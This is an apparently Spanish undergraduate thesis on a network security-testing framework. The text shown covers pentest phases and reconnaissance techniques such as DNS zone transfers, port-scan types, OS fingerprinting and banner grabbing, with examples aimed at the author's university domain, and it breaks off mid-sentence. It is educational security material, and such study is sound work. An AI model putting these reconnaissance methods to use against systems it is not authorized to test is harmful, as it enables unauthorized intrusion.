Informe - Framework para Pruebas de Seguridad PDF

Universidad Nacional de Tucumán
Facultad de Ciencias Exactas y Tecnología

Departamento de Electricidad, Electrónica y Computación
INGENIERÍA EN COMPUTACIÓN
Trabajo de Graduación
“Framework para pruebas de seguridad en

dispositivos de red”
Autor:
Rodríguez, Ignacio Rafael José
CX: 14-1578-8
Tutor: Ing. Giori, Gustavo

Co-Tutor: Ing. Lutz, Federico
Mayo de 2019
Framework para pruebas de seguridad en dispositivos de red
AGRADECIMIENTOS
• A mi familia por todo el apoyo brindado.
• A mis tutores Gustavo y Federico por sus consejos y guía en la realización de

este proyecto.
• A mis amigos y compañeros por todas esas tardes de estudio y momentos

compartidos.
• A todos los docentes de la FACET que contribuyeron en mi formación

Académica.
ii
RESUMEN
En la actualidad, el uso de las Tecnologías de la Información y Comunicaciones (TIC)
en las empresas y organizaciones es cada vez más extenso, por lo que la seguridad
informática se ha convertido en una de las principales preocupaciones para las
organizaciones. Lamentablemente de acuerdo a la realidad no existen sistemas
completamente seguros, por tanto, es necesario buscar todos los posibles aspectos de
vulnerabilidad.
El presente trabajo de graduación pretende analizar los aspectos asociados a la

seguridad en la familia de protocolos TCP/IP. También, brindar una visión global de
las principales actividades que se deben realizar para evaluar la seguridad de sistemas
y redes.
El trabajo culmina con el desarrollo de un framework para realizar pruebas de

seguridad. El mismo es una herramienta de software que brinda apoyo en la realización
de tests de penetración (o pentests) a dispositivos de una red local.
Dado que en la actualidad existen muchas herramientas para realizar labores de

pentests, no se pretende con este trabajo "reinventar la rueda" sino comprender cómo
funcionan estas herramientas, que muchas veces son utilizadas como cajas negras,
desconociendo su funcionamiento. Adicionalmente, el desarrollo de una herramienta
propia ofrece una mayor flexibilidad para personalizarla con el fin de llevar a cabo
tareas muy particulares.
iii
Índice
AGRADECIMIENTOS .............................................................................................. II
RESUMEN................................................................................................................. III
1. INTRODUCCIÓN ................................................................................................... 1
1.1. Objetivos del trabajo............................................................................................... 1
1.1.1. Objetivos generales .................................................................................1
1.1.2. Objetivos específicos ..............................................................................1
1.2. Delimitación del proyecto ...................................................................................... 2
2. TEST DE PENETRACIÓN (PENTEST) ............................................................... 3
2.1. ¿Qué es un Pentest? ......................................................................................... 3
2.2. Fases de un Pentest .......................................................................................... 3
2.3. Tipos de Pentest ............................................................................................... 6
3. ATAQUES A PROTOCOLOS DE LA PILA TCP/IP ......................................... 8
3.1. Introducción ..................................................................................................... 8
3.2. Recolección de información (gathering information) ..................................... 9
3.2.1. Footprinting ..........................................................................................9
3.2.2. Escaneos .............................................................................................16
3.2.3. Fingerprinting.....................................................................................18
3.2.4. Banner Grabbing ................................................................................20
3.2.5. DNS Caché Snooping .........................................................................21
3.2.6. Sniffing ................................................................................................22
3.3. Suplantación de identidad (Spoofing) ............................................................ 23
3.3.1. IP Spoofing .........................................................................................23
3.3.2. ARP Spoofing .......................................................................................24
iv
3.3.3. DNS Spoofing.......................................................................................29
3.3.4. DHCP Spoofing ...................................................................................33
3.3.5. Phishing ...............................................................................................37
3.4. Hombre en el Medio (MITM, Man in the Middle) ......................................... 38
3.5. Secuestro de sesión TCP (TCP Session Hijacking) ....................................... 42
3.6. Denegación de Servicio (DoS, Denial of Service) ......................................... 46
3.6.1. Net Flooding ........................................................................................46
3.6.2. Smurf ....................................................................................................47
3.6.3. TCP SYN Flooding ..............................................................................47
3.6.4. Connection Flooding ...........................................................................48
3.6.5. Ping of Dead ........................................................................................48
3.6.6. Land attack ..........................................................................................49
3.7. Fuerza Bruta (Brute Force)............................................................................ 49
4. ATAQUES EN REDES IPV6 ............................................................................... 52
4.1. Introducción ................................................................................................... 52
4.2. Escaneo de redes IPv6 ................................................................................... 54
4.3. Rogue Router Advertisement Attack .............................................................. 57
4.4. RA Parameter Spoofing ................................................................................. 59
4.5. Flood Router Advertisement .......................................................................... 60
4.6. Neighbor Spoofing ......................................................................................... 61
4.7. NDP Table Exhaustion .................................................................................. 64
4.8. DAD DoS Attack ............................................................................................ 65
4.9. Spoofed Redirect Message ............................................................................. 66
5. FRAMEWORK DE SEGURIDAD ...................................................................... 68
5.1. ¿Qué es un Framework? ................................................................................ 68
5.2. LabSec Framework ........................................................................................ 68
v
5.2.1. Diseño del Framework .........................................................................68
5.2.2. Tecnologías involucradas ....................................................................69
5.2.3. Instalación ............................................................................................71
5.2.4. Intérprete de comandos ........................................................................71
5.2.5. Creación de nuevos módulos ...............................................................77
5.3 Pruebas de seguridad ..................................................................................... 78
5.3.1 Módulos scanner ...............................................................................78
5.3.2 Módulos bruteforce ...........................................................................83
5.3.3 Módulos dos ......................................................................................89
5.3.4 Módulos spoofing .............................................................................95
5.3.5 Módulos hijacking ............................................................................99
5.3.6 Módulos ipv6 ..................................................................................102
CONCLUSIONES.................................................................................................... 112
BIBLIOGRAFIA...................................................................................................... 113
ANEXO 1 – TRABAJO PRACTICO DE LABORATORIO ............................... 115
ANEXO 2 – CÓDIGO FUENTE ............................................................................ 119
vi
1. Introducción
Al acecho de los paquetes de red de una organización existen una serie de amenazas
potenciales debido a (i) errores de configuración, (ii) errores humanos, (iii) políticas de
seguridad débiles y (iv) otras vulnerabilidades que pueden ser explotadas por un
atacante no autorizado. Su objetivo puede ser inutilizar las aplicaciones, los servidores
y la red, de manera temporal o permanente, como así también, el robo o filtración de
información privada.
Para mitigar estas amenazas, las organizaciones deben realizar regularmente tests de
penetración en sus infraestructuras, con el objetivo de poner a prueba los sistemas de
seguridad existentes y poder identificar vulnerabilidades y solucionarlas antes de que
ocurra un ataque real.
Para llevar a cabo un test de penetración, los profesionales de seguridad informática o

pentesters deben disponer de las herramientas adecuadas para su realización.
1.1. Objetivos del trabajo
1.1.1. Objetivos generales

El objetivo general de este proyecto es el desarrollo de un framework para realizar
pruebas de seguridad en dispositivos de red. El mismo puede usarse para el desarrollo
de laboratorios de seguridad en la asignatura Protocolos de Comunicación TCP/IP,
permitiendo a los estudiantes llevar a la práctica los conceptos de seguridad en redes
adquiridos durante el cursado de la asignatura.
1.1.2. Objetivos específicos

Para alcanzar el objetivo general, se plantean los siguientes objetivos específicos:
• Comprender en detalle el funcionamiento de los principales protocolos de la pila

TCP/IP.
• Estudiar y analizar diferentes tipos de ataques sobre redes IPv4 e IPv6.
• Diseñar e implementar un framework y los módulos para ejecutar las diferentes
pruebas de seguridad. La herramienta desarrollada debe contemplar las
siguientes funcionalidades:
o Realizar pruebas de Spoofing
o Realizar pruebas de fuerza bruta a servicios como ftp, http y telnet
o Realizar escaneos de puertos
o Detectar dispositivos conectados en una red
o Realizar pruebas de denegación de servicios (DoS)
o Realizar ataques de “Hombre en el Medio” (Man-in-the-Middle, MitM)
o Capacidad para cargar módulos de forma dinámica, en tiempo de ejecución
Capítulo 1 – Introducción 1
o Capacidad para que un usuario pueda crear módulos propios y extender las
funcionalidades de la herramienta.
• Diseñar un trabajo de laboratorio en el que se realizarán pruebas de seguridad
utilizando la herramienta desarrollada.
• Analizar los resultados de las pruebas realizadas y obtener conclusiones.
1.2. Delimitación del proyecto
• Se presupone:
o Conocimientos del funcionamiento de los principales protocolos del
stack TCP/IP.
o Conocimientos básicos de programación en lenguaje Python
o Conceptos avanzados de sistemas operativos basado en GNU/Linux
• La herramienta de seguridad desarrollada en este proyecto es para fines

educativos. No se contemplan aspectos de rendimiento y optimización en el
desarrollo de la misma.
• En la sección donde se describen las vulnerabilidades del protocolo TCP/IP, se

exponen recomendaciones generales de seguridad. El lector puede consultar
fuentes de documentación especializadas.
• Las pruebas de seguridad se realizan con infraestructura disponible en el

Laboratorio de redes FACET – UNT, en un entorno controlado. Asimismo, se
hace uso de equipamiento propio.
Capítulo 1 – Introducción 2
2. Test de Penetración (Pentest)

2.1. ¿Qué es un Pentest?
Un test de penetración1 o pentest simula las acciones de un atacante cibernético externo
y/o interno que tiene como objetivo violar la seguridad de la información de una
organización.
2.2. Fases de un Pentest

Realizar un pentest es una labor compleja, en donde se realizan distintos tipos de tareas
que identifican, en una infraestructura objetivo, las vulnerabilidades que pueden
explotarse y los daños que puede causar un atacante. En otras palabras, se realiza un
proceso de hacking ético para identificar los posibles incidentes antes de que sucedan
y posteriormente, reparar o mejorar el sistema.
En general, las fases de un pentest, desde el punto de vista de un Hacker Ético o white
hat, son las siguientes:
1) Definición de las normas y límites. En esta primera fase, el auditor o pentester

debe ponerse de acuerdo con la organización auditada para establecer los
parámetros y límites del pentest. Estas normas legalizan muchas de las prácticas
que el auditor lleva a cabo y que de otra forma serían ilegales como, por ejemplo,
acceder a información personal, realizar ingeniería social a empleados, o si se
pueden utilizar exploits contra servicios vulnerables o únicamente identificarlos,
etc. Es muy importante acordar hasta donde se está dispuesto a llegar con el
pentest con la finalidad de salvaguardar la privacidad y no violar la ley en
ningún caso.
2) Recolección de información (gathering information). Una vez establecida la

primera fase, empieza la tarea de recolección de información. En esta etapa, el
auditor debe reunir toda la información posible acerca de la organización
auditada como: información de la red, software y hardware usado,
configuraciones, versiones de sistemas operativos, información en internet,
redes sociales, etc. Para ello se hace uso de diferentes técnicas: escaneo de
puertos, fingerprinting, footprinting, google hacking, etc. Es sumamente
importante y puede determinar el éxito o fracaso del pentest, ya que gran parte
de la información recopilada es usada en etapas posteriores del mismo. A veces
1
Fuente:
http://www.isaca.org/chapters3/Atlanta/AboutOurChapter/Documents/GW2015/0811
15-10AM-Pentesting.pdf
Capítulo 2 – Test de Penetración (Pentest) 3

las organizaciones brindan información al auditor, conocido como “test de caja

blanca”, que es tratado más adelante.
3) Análisis de las vulnerabilidades. Recopilada la información, se hace un

análisis exhaustivo en busca de posibles vulnerabilidades o defectos
susceptibles de ser explotados. Aquí entran en juego las herramientas creadas
para dichas tareas, junto con la experiencia y astucia del auditor, ya que la
combinación de dichos factores determinará el éxito del proceso.
4) Explotación de vulnerabilidades. Esta es la fase más intrusiva y donde se

evidencia la realidad de las vulnerabilidades del sistema. Para ello, el auditor
hace uso de herramientas especializadas y de exploits para aprovechar las
debilidades encontradas. El auditor también puede hacer uso de técnicas de
pivoteo2, para tomar control de buena parte de la red.
5) Generación de los informes. Por último, el pentester debe generar reportes que
ayuden a la organización en el proceso de remediación de vulnerabilidades. En
las etapas anteriores, excepto la primera, se deben documentar las acciones
llevadas a cabo.
En esta fase se realizan dos tipos de informes: (i) informe ejecutivo, destinado
a los directivos de la organización para la toma de decisiones; en él se describe
el nivel de riesgo expuesto por la organización, sin detalles técnicos,
evidenciando las problemáticas por medio de conceptos claros y gráficas.
(ii) Informe técnico, dirigido al área técnica, ayudando a solucionar los
problemas detectados. En este reporte se exponen las evidencias de los tests
realizados, se incluyen los posibles efectos y alcances de los ataques en el caso
de que se produjeran.
Desde el punto de vista de un hacker black hat o grey hat las fases de un pentest difieren
ligeramente de las mencionadas anteriormente. En la Fig 2-1 se muestran las
diferencias.
2
Esta técnica consiste en obtener acceso a un dispositivo a partir de otro ya
comprometido de la misma red.

Fig. 2-1. Proceso de pentest desde la perspectiva de un hacker ético o while hat
(izquierda), desde la perspectiva de un hacker o black hat (derecha).
La fase de definición de las normas y límites del hacker ético es la fase de objetivos
para el black hat. Aquí el hacker define que quiere obtener y el alcance. Por ejemplo,
si lo que quiere es acceder una base de datos de un servicio web o simplemente dejar
fuera de servicio una determinada aplicación.
Por otro lado, la fase de generación de informes se elimina y se divide en dos fases,
permanencia del acceso y el borrado de huellas. En la primera, el intruso tiene como
objetivo permanecer en el sistema/red todo el tiempo que le sea posible sin ser
detectado. En esta fase el hacker instala backdoors y crea usuarios con altos privilegios,
entre otras acciones, para poder perpetuar su acceso con éxito. En la segunda fase, la
actividad del atacante es eliminar toda huella que delate que ha estado allí. Esto incluye
borrado de logs en servers y PCs, eliminación de usuarios ocultos, entre otras acciones.
Este documento se enfoca principalmente en las fases 2, 3 y 4, que son comunes en los
diferentes puntos de vista mencionados (ver Fig. 2-2).

Fig. 2-2. Relación de fases entre pentests realizados por un Hacker White hat y un
Hacker Black hat.
2.3. Tipos de Pentest

Se puede clasificar a un pentest de acuerdo a la información que se cuenta sobre los
sistemas o redes objetivos, previo a la realización de la fase 2 (recolección de
información). Se diferencian tres tipos de pentest:
• Pentest de caja blanca: se realizan conociendo a priori información acerca de

los objetivos. Esta es suministrada por la propia organización, como: detalles de
la red, direcciones IPs, firewall, impresoras, sistemas operativos utilizados, tipo
de autenticación, usuarios, tecnología del sitio web, etc. Este tipo de pentest se
realiza para simular un ataque por parte de una persona que pertenece a la
organización.
• Pentest de caja negra: el auditor no posee ninguna información previa del

sistema/red objetivo, y debe descubrir el segmento de red, los sistemas
utilizados, la tecnología del sitio web, etc.
Es útil para simular un ataque de un intruso externo a la organización.
• Pentest de caja gris: se mezclan características de los dos anteriores. La

organización puede dar a conocer parte de la información al profesional y
pedirle que, a partir de ella, intente escalar al resto de los sistemas. También se

puede desarrollar el trabajo desde diferentes puntos: red interna, red externa,
Wifi, desde el puesto de un empleado, etc.

3. Ataques a protocolos de la pila TCP/IP

3.1. Introducción
La familia de protocolos TCP/IP (Transport Control Protocol / Internet Protocol)

surgió alrededor de 1960 como base de un sistema de comunicación basado en redes de
conmutación de paquetes (ARPANET), desarrollado por DARPA (Defense Advanced
Research Projects Agency), una agencia del Departamento de Defensa de los Estados
Unidos responsable del desarrollo de nuevas tecnologías para uso militar.
Dentro de los equipos que poseen una implementación de la pila de protocolos TCP/IP,
se distinguen dos grupos, y ambos son objetivos de potenciales ataques:
• Sistemas: son equipos que engloban tanto a los clientes de un servicio o

comunicación, ya sean PCs de escritorio, estaciones de trabajo o dispositivos
móviles (smartphones, tables, etc) que ejecutan un sistema operativo cliente
(Windows, Linux, Solaris, etc), como a los servidores que proporcionan el
servicio, típicamente ejecutando un sistema operativo servidor (Windows
Server o Linux Server, entre otros). Estos últimos son principalmente los
objetivos de los atacantes, al contener información relevante de las
organizaciones.
• Dispositivos de red: son los encargados de que el tráfico de datos fluya dentro
o entre redes. Por tanto, engloban a dispositivos como routers, switches, hubs,
bridges y firewalls.
Desde el punto de vista de la seguridad, la familia de protocolos TCP/IP puede ser

vulnerada en base a dos conceptos inherentes a su diseño:
i. El formato de los paquetes de los diferentes protocolos:

Además de los datos transportados (payload), la información contenida en cada
uno de los campos de las cabeceras de los protocolos, proporciona una fuente
muy valiosa de información.
ii. El modo de funcionamiento de los protocolos:

Las etapas asociadas a cada proceso en los protocolos, así como la forma en la
que actúan ante las diferentes situaciones posibles, ofrecen mucha información
para analizar la existencia de vulnerabilidades.
En las siguientes secciones de este capítulo se hace uso de ambos conceptos, con el fin
de evaluar las vulnerabilidades en los protocolos de la pila TCP/IP.
Capítulo 3 – Ataques a protocolos de la pila TCP/IP 8

3.2. Recolección de información (gathering information)

La recolección de información es una etapa previa a etapa de explotación (o ataque) y
sumamente importante para quien ataca. En esta fase, el atacante reúne toda la
información que pueda o que sea útil para las etapas posteriores del pentest.
En este proceso se reúnen datos como: Páginas web de la compañía, organizaciones

relacionadas, nómina de empleados de la empresa, información archivada, análisis de
metadatos, interrogación a DNS, consulta de dominios a los registros regionales de
internet, reconocimiento de la red y de servicios, entre otros datos.
3.2.1. Footprinting
Se denomina footprinting al proceso de recolectar información pública acerca de un
sistema o red a auditar. El auditor luego debe filtrar y clasificar esa información, que
puede ser usada en etapas posteriores.
Su principal fuente es Internet, pero también se puede extraer información de

publicaciones, diarios, revistas, ingeniería social, etc.
A continuación, se muestran algunos métodos para reunir información pública.
Web site Footprinting: es una técnica que permite extraer los detalles relacionados con
un sitio web. Algunas veces, el sitio web perteneciente a una organización revela más
información de la que debería. Se puede encontrar, por ejemplo, información sobre la
compañía que desarrolló o mantiene ese sitio, del desarrollador en sí, tipo de tecnología
usada para el desarrollo del sitio, etc. También se puede inspeccionar el código HTML
en busca de comentarios que haya dejado el programador, estos pueden ser una fuente
importante de información.
Un error muy común de los webmasters es olvidar filtrar o personalizar los errores 404
- Not Found. Este error se produce cuando se intenta consultar una página web que no
existe en el servidor web, y si no ha sido modificada, muestra la página de error por
defecto, que puede contener información del servidor web y del sistema operativo.
Un atacante puede aprovechar ese error consultando páginas web inexistentes, para
forzar a que el servidor web revele información.
Por ejemplo, al consultar la página www1.herrera.unt.edu.ar/paginaquenoexiste, se

muestra la página de error de un servidor Apache/2.4.18 corriendo sobre Linux Ubuntu.

Fig. 3-1. Página de error 404 (Not Found) por defecto de un servidor Apache.
Whois footprinting: Consiste en consultar información acerca de un dominio o

dirección IP a los registros regionales de internet (RIR, Regional Internet Register), los
cuales se encargan de la administración de direcciones IP para distintas regiones del
mundo. Actualmente existen cinco RIR, para latino América se encuentra LACNIC.
Por ejemplo, al consultar en el sitio whois.lacnic.net el dominio unt.edu.ar, LACNIC

devuelve la información mostrada en la Fig. 3-2, donde se observa, por ejemplo, datos
del responsable del dominio y el rango o bloque CIDR de direcciones IP asignado al
dominio unt.edu.ar. Esto último puede ser usado por un atacante como punto de partida
en la búsqueda de objetivos. Basta con utilizar un escáner de puertos como NMAP y
hacer un barrido de ese rango IP en búsqueda de dispositivos activos y comprobar la
existencia de puertos abiertos.
Fig. 3-2. Respuesta de LACNIC acerca del dominio unt.edu.ar.

DNS Footprinting: También conocido como DNS Lookup. Consiste en realizar

consultas a los servidores DNS autoritativos para el dominio objetivo, con el fin de
obtener información acerca de la infraestructura del dominio a través del análisis de los
registros de recurso (RR, Resource Record). Para obtener información de los DNS el
atacante puede usar técnicas como:
• Forzar transferencia de zona

• Resolución inversa (a partir de una IP obtener un nombre), mediante la consulta
a los registros PTR
Forzar transferencia de Zona
La técnica consiste en conseguir una transferencia del archivo de zona del servidor DNS
de la organización. Esto se hace enviando al servidor DNS una consulta del tipo AXFR
Request, para solicitar una transferencia de zona completa. Un servidor DNS maestro
correctamente configurado solo debería responder a este tipo de solicitud cuando
provenga de un servidor DNS esclavo autorizado, y rechazar las que provengan de un
cliente no autorizado. Sin embargo, es bastante común encontrarse con servidores DNS
que no controlan la dirección IP desde donde se solicita la transferencia de zona y
entregan todo su mapa de dominio a cualquiera que lo solicite.
Una herramienta útil para llevar a cabo esta técnica, es la aplicación nslookup. Es una
aplicación de administración, actualmente implementada en diversos sistemas
operativos (incluyendo Microsoft Windows y GNU/Linux) que permite: consultar,
obtener información, probar y solucionar problemas de servidores DNS.
A continuación, se muestra el funcionamiento de nslookup. En el ejemplo de la Fig. 3-

3 se obtiene el archivo de zona del dominio herrera.unt.edu.ar, para ello primero se
identifican a los servidores DNS autoritativos para dicha zona, para luego enviarles una
solicitud de transferencia de zona completa usando el comando ls.
Si el servidor está bien configurado, el usuario recibe un mensaje de error indicando

que la solicitud no es posible, pero en caso contrario devuelve una lista con todos los
registros de recursos (A, NS, SOA, MX, etc.) asociados al dominio consultado.
Con esta información un atacante puede obtener un mapa de la infraestructura del

dominio y de los equipos que son visibles desde internet. También puede conocer el
nombre del servidor DNS primario inspeccionando el registro SOA, o conocer los
nombres de los servidores de correo asociados a la organización, entre otros datos.

Fig. 3-3. Respuesta recibida al solicitar una transferencia de zona al servidor DNS
autoritativo (ns2.unt.edu.ar) para la zona herrera.unt.edu.ar

La implementación de nslookup en GNU/Linux no incorpora la orden ls. Sin embargo,

los usuarios de este sistema operativo pueden utilizar la herramienta dig (Domain
Information Groper). Los pasos a seguir son los mismos que se mostraron con la
aplicación nslookup. Tras localizar los servidores DNS del dominio a auditar, se solicita
la transferencia de zona con la opción axfr, utilizando el modificador @ para indicar la
IP o el nombre del servidor DNS al que se debe realizar la solicitud.
Fig. 3-4. Solicitud de transferencia de zona con la aplicación dig.
Resolución inversa
El método consiste en determinar el nombre de dominio asociado a una dirección IP.

A continuación, se muestra un ejemplo utilizando nuevamente la aplicación nslookup.
Primero se deben localizar los servidores DNS de la organización e indicarle a la

aplicación que las próximas consultas las realice contra uno de estos servidores DNS.
También se configura el tipo de registros que se van a consultar, para preguntar por los
registros de tipo PTR, como muestra la siguiente figura:
Fig. 3-5. Configuración de aplicación nslookup para resolución inversa DNS.

Lo siguiente es consultar una dirección IP para obtener el nombre de dominio

asociado, como se muestra en la Fig. 3-6. El método puede ser automatizado en un
script para obtener los nombres de dominios de un rango de IPs.
Fig. 3-6. Resolución inversa DNS.
Análisis de metadatos: los metadatos pueden definirse simplemente como datos que
contienen información relativa a un documento o fichero concreto.
Por ejemplo, un archivo de texto puede contener entre sus metadatos información
relacionada con su procedencia, como datos del autor, fecha de creación y modificación
o la aplicación y versión usada para su redacción.
Si se dispone de los metadatos “autor” y “aplicación” con su versión, procedentes de

un mismo documento. Por un lado, el autor proporciona información sobre la existencia
de un usuario en el entorno. Esta información puede permitir deducir su dirección de
correo electrónico, en caso de existir una correspondencia entre el nombre del usuario
y su alias de correo (generalmente coinciden). Esto puede proporcionar a un atacante
un punto de partida para intentar realizar un ataque de ingeniería social contra su
objetivo. A su vez, el metadato aplicación (y su versión) permite a un atacante inferir a
qué vulnerabilidades está expuesta dicha aplicación, a través de una búsqueda de
vulnerabilidades conocidas.
La Fig. 3-7 muestra un ejemplo de extracción de metadatos de un archivo, usando la

aplicación Anubis. El archivo auditado pertenece al sitio web www1.herrera.unt.edu.ar.

Fig. 3-7. Extracción de metadatos con Anubis

3.2.2. Escaneos
Durante la etapa de recolección de información, se suelen realizar escaneos con el fin
de identificar a los sistemas activos de una red, como así también, los servicios que
estos ofrecen, por medio de la identificación de puertos abiertos.
El concepto de escaneo se vincula directamente con el reconocimiento de aplicaciones

que pueden poseer vulnerabilidades, y que luego son comprobadas en la etapa de
explotación. Se pueden usar diferentes métodos para descubrir los sistemas y/o
servicios activos de una red. A continuación, se listan algunos de los más usados:
• TCP connect scan: este tipo de prueba radica en el establecimiento de una

conexión TCP completa (three-way handshake). Si se establece conexión indica
que el host destino se encuentra activo y el puerto destino abierto.
• TCP SYN scan: consiste en realizar el procedimiento three-way handshake sin

terminarlo por completo, es decir, no llega a establecerse la conexión. En otras
palabras, el emisor envía un paquete TCP con el flag SYN activo para iniciar
una conexión con un puerto destino. Si el receptor responde con un paquete TCP
con el flag RST (reset) seteado, significa que el puerto se encuentra cerrado,
pero el equipo está activo. Si el sistema responde con un paquete SYN+ACK,
significa que el puerto se encuentra abierto, y naturalmente, el sistema está
activo. Luego, el emisor envía un RST+ACK para finalizar la conexión, en vez
de un ACK que sería lo normal para crear la conexión.
En el caso que no exista respuesta, puede deberse a que los paquetes han sido
filtrados por un firewall o que el sistema no se encuentra activo.
• TCP ACK scan: se usa para determinar si un equipo de la red escucha peticiones
a través de un firewall. Cuando el emisor envía un paquete TCP con el flag ACK
activo, el receptor debe responder con un paquete RST, esté o no abierto el
puerto, si no existe respuesta puede deberse a que existe un firewall en medio
de la comunicación o que el receptor se encuentra inactivo (apagado).
• TCP Null scan: el emisor envía un paquete TCP, sin ningún bit activo del campo
flag. Si el puerto destino se encuentra abierto, no se recibe ninguna respuesta.
Si, por el contrario, el puerto se encuentra cerrado, el receptor envía un
RST+ACK. Es decir, este tipo de escaneo permite identificar los puertos TCP
cerrados.
• TCP FIN scan: se crea un paquete TCP con el bit de FIN activo. El emisor envía
el paquete, y si el puerto se encuentra abierto, no se va a obtener ninguna
respuesta. Sin embargo, si el puerto se encuentra cerrado, la respuesta que se
recibe es un RST+ACK. El objetivo de este tipo de escaneo es idéntico al de
TCP null scan.

• UDP scan: se envía paquetes UDP sin datos. En caso que el puerto esté cerrado,
se recibe un mensaje ICMP port unreachable. Si, por el contrario, el puerto está
abierto, no se recibe ninguna respuesta. Debido a que UDP es un protocolo no
orientado a conexión, este método resulta poco fiable ya que puede producir
falsos positivos.
Por otro lado, en el caso que se detecte un elevado número de puertos UDP
abiertos, puede indicar la presencia de un dispositivo de filtrado entre el atacante
y el objetivo. Para confirmar esto, se puede enviar un paquete UDP al puerto
cero, lo que debe generar una respuesta ICMP como la ya comentada. Si no hay
respuesta, indica que existe un dispositivo filtrando el tráfico.
• Fragmentación IP: cuando un sistema recibe fragmentos de un paquete IP, y uno

o más de los fragmentos del datagrama total se han perdido, o no fueron
recibidos en un tiempo determinado, el sistema destino descarta ese paquete IP
y envía un mensaje ICMP Fragment Reassembly Time Exceded hacia el nodo
origen, informando el problema. Este comportamiento puede permitir a un
atacante determinar si el host se encuentra activo. El método consiste en enviar
un paquete IP al nodo destino, con los bits DF (Do not Fragment) en 0 y MF
(More Fragment) en 1 y con un offset distinto de 0. De esta manera se simula
un fragmento IP. Si se recibe un paquete ICMP de tiempo excedido al intentar
reconstruir el paquete IP, significa que el host destino se encuentra activo.
• ICMP ping: el utilitario PING de los sistemas operativos actuales se implementa

usando dos tipos de mensajes ICMP (Echo Request y Echo Reply). Es uno de
los métodos más comunes para la verificación de conectividad a nivel IP, pero
a su vez uno de los menos confiables debido a que los firewalls por lo general
filtran este tipo de paquetes. Para saber si un nodo destino se encuentra activo,
se envía un mensaje ICMP Echo Request. Si el destino responde con un mensaje
ICMP Echo Reply significa que se encuentra activo. En el caso de que no exista
respuesta, puede deberse a que los paquetes están siendo filtrados por un
firewall o que el nodo no se encuentra activo.
• ARP ping: utilizando el Protocolo de Resolución de Direcciones (ARP) se

puede comprobar si los sistemas IP versión 4 (IPv4) son accesibles en la LAN.
El método consiste en enviar por difusión en la LAN, una solicitud ARP (ARP
request), preguntando por la dirección de hardware de una IP determinada. Si
el host que recibe dicha solicitud posee esa IP, envía una respuesta (ARP reply)
con su dirección de hardware. Esa respuesta verifica que el nodo está activo. El
inconveniente de este método es que ARP es un protocolo no ruteable, por lo
tanto, este tipo de prueba queda confinada al segmento de red local.

Actualmente existen muchas herramientas para realizar escaneos de puertos y

descubrimiento de hosts activos, la mayoría de ellas implementan los métodos vistos
anteriormente. Entre las más difundidas se encuentra NMAP.
La Fig. 3-8 muestra un ejemplo de uso de la herramienta NMAP, con el parámetro -sT
se indica que se van a escanear solo puertos TCP, seguido de la dirección IP del host a
auditar (192.168.1.7).
Fig. 3-8. Escaneo de puertos con Nmap.
3.2.3. Fingerprinting
El fingerprinting es un conjunto de técnicas que permiten descubrir las huellas

identificativas de la pila TCP/IP implementada en un equipo. El objetivo principal suele
ser identificar el sistema operativo que se ejecuta en el equipo objetivo. Esta
información junto a la versión del servicio facilita la búsqueda de vulnerabilidades
asociadas al mismo.
Gran parte de la información acerca de la pila TCP/IP puede obtenerse a través de un

handshake de tres vías, propio del protocolo TCP.
La probabilidad de acierto en reconocer el sistema operativo remoto es muy alta y se

basa en la identificación de las características propias de la implementación de la pila
TCP/IP frente a otra, ya que la interpretación de los RFCs por parte de los fabricantes
de sistemas operativos no siempre concuerda.
Existen dos maneras de llevar a cabo estas técnicas de identificación de sistemas:
1. Fingerprinting activo: se basa en el hecho de que cada sistema operativo

responde de forma diferente a una gran variedad de paquetes malformados. De
esta manera, enviando paquetes mal formados a un sistema objetivo y utilizando
herramientas que permitan comparar las respuestas con una base de datos con
referencias conocidas, es posible identificar el sistema operativo usado por el
equipo remoto. Nmap es una herramienta ampliamente utilizada para llevar
acabo fingerprinting activo.

2. Fingerprinting pasivo: consiste en realizar escuchas pasivas (sniffing) del

tráfico que genera el sistema objetivo en la red. Es posible comparar esos
paquetes con una base de datos con referencias conocidas de los diferentes
sistemas operativos y, por tanto, es viable identificarlo. Por ejemplo, los
mensajes ICMP echo-request enviados con la utilidad ping, en los SS.OO.
Linux tienen un tamaño por defecto de 64 bytes, mientras que en Windows
tienen un tamaño por defecto de 32 bytes.
Algunas pruebas que se pueden hacer para identificar el sistema operativo del host
objetivo son las siguientes:
• Sondeo de flag aleatorio: se envía un paquete TCP SYN con un flag aleatorio
activo. La respuesta de implementaciones como Linux devuelven un paquete
SYN-ACK con el mismo flag activo.
• Muestreo del Numero de Secuencia Inicial (ISN): pretende encontrar algún

patrón empleado para seleccionar los números de secuencia inicial (ISN) de una
conexión TCP.
• Tamaño inicial de ventana TCP: el tamaño de ventana usado por defecto en cada
implementación es muy particular y ayuda a identificar el sistema remoto.
• Valor del campo ACK: algunas implementaciones envían como ACK el número
del ultimo byte recibido, mientras que otras lo incrementan en uno.
• Gestión de la fragmentación: el manejo de paquetes fragmentados es gestionado

de forma específica por cada pila. Al reensamblar los fragmentos, algunas
sobrescriben los datos más antiguos con los nuevos y viceversa.
• Opciones de TCP: los RFCs 793 y 1323 definen las opciones TCP posibles.
Mediante el envío de paquetes con muchas opciones avanzadas activas
(Maximum Segment Size, Windows scale factor, timestams) puede descubrirse
a través del comportamiento, el sistema operativo en cuestión.

3.2.4. Banner Grabbing

Uno de los aspectos a la hora de realizar controles sobre un servicio o aplicación, es la
información que se puede obtener a través de lo que se conoce como banner grabbing.
Este concepto se refiere a la interacción manual con el servidor donde reside la
aplicación, para obtener información en texto plano sobre el mismo. Está fuertemente
relacionado con el fingerprinting.
El método de banner grabbing puede aplicarse sobre cualquier tipo de servicio como,
por ejemplo: FTP, Telnet, SSH, SMTP, POP3, HTTP, entre otros. Particularmente, este
documento solo trata el banner grabbing en el servicio HTTP, usado para obtener
información del servidor en el que se aloja un sitio web, y en algunos casos también
puede conocerse la versión del mismo.
Hacer banner grabbing a un servidor web consiste en extraer información de la

cabecera de los mensajes de respuesta HTTP que envía el servidor.
Una forma sencilla de obtener el banner de un servidor web es establecer una conexión
al puerto 80 (HTTP) utilizando la aplicación telnet, para poder interactuar con el mismo.
Luego de establecer la conexión TCP, se usa el método HEAD y se especifica la versión
de protocolo (HTTP 1.1) para obtener la cabecera de la respuesta HTTP. En la Fig. 3-9
se muestra un ejemplo.
Fig. 3-9. Banner grabbing usando Telnet
Si un administrador de sistemas no es cauteloso, puede revelar información valiosa

como la versión y el nombre del servicio operando en un puerto. Conociendo esas dos
piezas de información, un atacante puede enfocarse solamente en encontrar
vulnerabilidades para ese servicio y esa versión específicamente para intentar
comprometer el servidor. Por ese motivo es importante tener una buena configuración
